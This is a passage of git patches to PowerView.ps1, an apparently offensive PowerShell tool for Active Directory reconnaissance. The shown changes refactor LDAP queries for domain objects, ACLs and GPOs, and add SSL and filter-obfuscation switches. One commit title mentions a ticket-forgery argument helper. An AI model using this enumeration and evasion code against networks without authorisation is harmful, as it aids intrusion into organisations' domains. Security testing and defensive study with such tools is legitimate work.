$_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - else { - $Prop = $_.Properties - } - - $GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0] } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" - } + else { + $Prop = $_.Properties + } + + $GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } - $SchemaSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" @@ -6246,40 +6251,36 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') $LDAPFilter = '(objectClass=controlAccessRight)' - $RightsSearcher = Get-DomainSearcher @SearcherArguments - if ($RightsSearcher) { - try { - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" - $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Prop = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { - $Prop[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Prop[$a] = $Values + try { + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - else { - $Prop = $_.Properties - } - - $GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0] } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" - } + else { + $Prop = $_.Properties + } + + $GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } - $RightsSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" @@ -6619,7 +6620,6 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } - #$CompSearcher = Get-DomainSearcher @SearcherArguments $DNSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain } @@ -7046,9 +7046,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } - $ObjectSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { @@ -7056,119 +7056,113 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($ObjectSearcher) { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^(CN|OU|DC)=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $ObjectSearcher = Get-DomainSearcher @SearcherArguments - if (-not $ObjectSearcher) { - Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" - } - } - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - Write-Output "$GuidByteString" - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $ObjectName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$ObjectName)" - $SearcherArguments['Domain'] = $ObjectDomain - Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" - $ObjectSearcher = Get-DomainSearcher @SearcherArguments + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" } } - elseif ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + Write-Output "$GuidByteString" + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } - - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" - } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } - - if ($Filter -and $Filter -ne '') { - $Filter = "(&$Filter)" + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } - Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)" + } - #if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } - #else { $Results = $ObjectSearcher.FindAll() } - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Object = $_ - $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') - } - else { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Prop = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { - $Prop[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Prop[$a] = $Values + if ($Filter -and $Filter -ne '') { + $SearcherArguments['LDAPFilter'] = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)" + + $Results = Invoke-LDAPQuery @SearcherArguments + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - else { - $Prop = $_.Properties - } - - $Object = Convert-LDAPProperty -Properties $Prop - $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } - $Object - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + else { + $Prop = $_.Properties } + + $Object = Convert-LDAPProperty -Properties $Prop + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" } - $ObjectSearcher.dispose() } } } @@ -22884,13 +22878,24 @@ A string representing the specified domain distinguished name. if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } - $DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname + if ($PSBoundParameters['Domain']) { + $DomainDN = "DC=$($Domain -replace '\.',',DC=')" + } + else { + $DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname - if ($DCDN) { - $DCDN.SubString($DCDN.IndexOf(',DC=')+1) + if ($DCDN) { + $DomainDN = $DCDN.SubString($DCDN.IndexOf(',DC=')+1) + } + else { + Write-Verbose "[Get-DomainDN] Error extracting domain DN for '$Domain'" + } + } + if ($DomainDN) { + $DomainDN } else { - Write-Verbose "[Get-DomainDN] Error extracting domain SID for '$Domain'" + Write-Verbose "[Get-DomainDN] Error resolving domain DN for '$Domain'" } } @@ -23780,19 +23785,25 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SearchScope']) { $Request.Scope = $SearchScope } - if ($PSBoundParameters['FindOne']) { - $Request.SizeLimit = 1 - } $Request.Controls.Add($PageRequestControl) - $Request.Filter = "$LdapFilter" + if ($LdapFilter -and $LdapFilter -ne '') { + $Request.Filter = "$LdapFilter" + } while($true) { $Response = $Searcher.SendRequest($Request) if ($Response.ResultCode -eq 'Success') { foreach ($entry in $response.Entries) { $Results += $entry + if ($PSBoundParameters['FindOne']) { + break + } } } + if ($PSBoundParameters['FindOne']) { + break + } + $PageResponseControl = [System.DirectoryServices.Protocols.PageResultResponseControl]$Response.Controls[0] if ($PageResponseControl.Cookie.Length -eq 0) { break From 13c8be79d25387841f2321240c3a60580903da45 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Thu, 29 Jul 2021 13:27:57 +0100 Subject: [PATCH 46/58] fix typo in Get-DomainGUIDMap --- Recon/PowerView.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 9d2dfd6d..91453184 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6244,9 +6244,9 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" - } + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') @@ -6282,9 +6282,9 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" - } + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } $GUIDs From ca07f93026a662e4f4541f18d241aee4dbf8f953 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Fri, 30 Jul 2021 14:21:16 +0100 Subject: [PATCH 47/58] fix for Get-DomainObjectAcl and start of Get-RubeusForgeryArgs cmdlet --- Recon/PowerView.ps1 | 697 +++++++++++++++++++++++++++++++++----------- 1 file changed, 526 insertions(+), 171 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 91453184..88407d75 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3234,6 +3234,9 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } + elseif ($_ -eq 'logonhours') { + $ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0] + } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] @@ -5481,7 +5484,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Prop = @{} foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { $Prop[$a] = $_.Attributes[$a] } else { @@ -8699,7 +8702,10 @@ Custom PSObject with ACL entries. Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)" #$Results = $Searcher.FindAll() - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" + if ($Filter -and $Filter -ne '') { + $SearcherArguments['LDAPFilter'] = "$Filter" + } + $Results = Invoke-LDAPQuery @SearcherArguments $Results | Where-Object {$_} | ForEach-Object { if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { $Object = @{} @@ -11057,7 +11063,6 @@ Custom PSObject with translated group property fields. Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } } - $GroupSearcher.dispose() } } } @@ -13392,6 +13397,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainGPO -Domain testlab.local @@ -13506,7 +13519,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -13521,218 +13540,233 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $GPOSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { - if ($GPOSearcher) { - if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { - $GPOAdsPaths = @() - if ($SearcherArguments['Properties']) { - $OldProperties = $SearcherArguments['Properties'] - } - $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' - $TargetComputerName = $Null - - if ($PSBoundParameters['ComputerIdentity']) { - $SearcherArguments['Identity'] = $ComputerIdentity - $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 - if(-not $Computer) { - Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" - } - $ObjectDN = $Computer.distinguishedname - $TargetComputerName = $Computer.dnshostname + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } - else { - $SearcherArguments['Identity'] = $UserIdentity - $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 - if(-not $User) { - Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" - } - $ObjectDN = $User.distinguishedname + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } + $ObjectDN = $User.distinguishedname + } - # extract all OUs the target user/computer is a part of - $ObjectOUs = @() - $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { - if($_.startswith('OU=')) { - $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) - } + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } - Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" - - if ($ObjectOUs) { - # find all the GPOs linked to the user/computer's OUs - $SearcherArguments.Remove('Properties') - $InheritanceDisabled = $False - ForEach($ObjectOU in $ObjectOUs) { - $SearcherArguments['Identity'] = $ObjectOU - $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { - # extract any GPO links for this particular OU the computer is a part of - if ($_.gplink) { - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $Parts = $_.split(';') - $GpoDN = $Parts[0] - $Enforced = $Parts[1] - - if ($InheritanceDisabled) { - # if inheritance has already been disabled and this GPO is set as "enforced" - # then add it, otherwise ignore it - if ($Enforced -eq 2) { - $GpoDN - } - } - else { - # inheritance not marked as disabled yet + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { $GpoDN } } + else { + # inheritance not marked as disabled yet + $GpoDN + } } } + } - # if this OU has GPO inheritence disabled, break so additional OUs aren't processed - if ($_.gpoptions -eq 1) { - $InheritanceDisabled = $True - } + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True } } } + } - if ($TargetComputerName) { - # find all the GPOs linked to the computer's site - $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $SearcherArguments['Identity'] = $ComputerSite - $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { - if($_.gplink) { - # extract any GPO links for this particular site the computer is a part of - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $_.split(';')[0] - } + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] } } } } } + } - # find any GPOs linked to the user/computer's domain - $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) - $SearcherArguments.Remove('Identity') - $SearcherArguments.Remove('Properties') - $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" - $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { - if($_.gplink) { - # extract any GPO links for this particular domain the computer is a part of - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $_.split(';')[0] - } + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] } } } - Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" - # restore the old properites to return, if set - if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } - else { $SearcherArguments.Remove('Properties') } - $SearcherArguments.Remove('Identity') + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') - $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { - # use the gplink as an ADS path to enumerate all GPOs for the computer - $SearcherArguments['SearchBase'] = $_ - $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" - Get-DomainObject @SearcherArguments | ForEach-Object { - if ($PSBoundParameters['Raw']) { - $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') - } - else { - $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') - } - $_ + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ } } - else { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match 'LDAP://|^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $GPOSearcher = Get-DomainSearcher @SearcherArguments - if (-not $GPOSearcher) { - Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" - } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } - elseif ($IdentityInstance -match '{.*}') { - $IdentityFilter += "(name=$IdentityInstance)" + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" } - else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - catch { - $IdentityFilter += "(displayname=$IdentityInstance)" - } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" } } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() 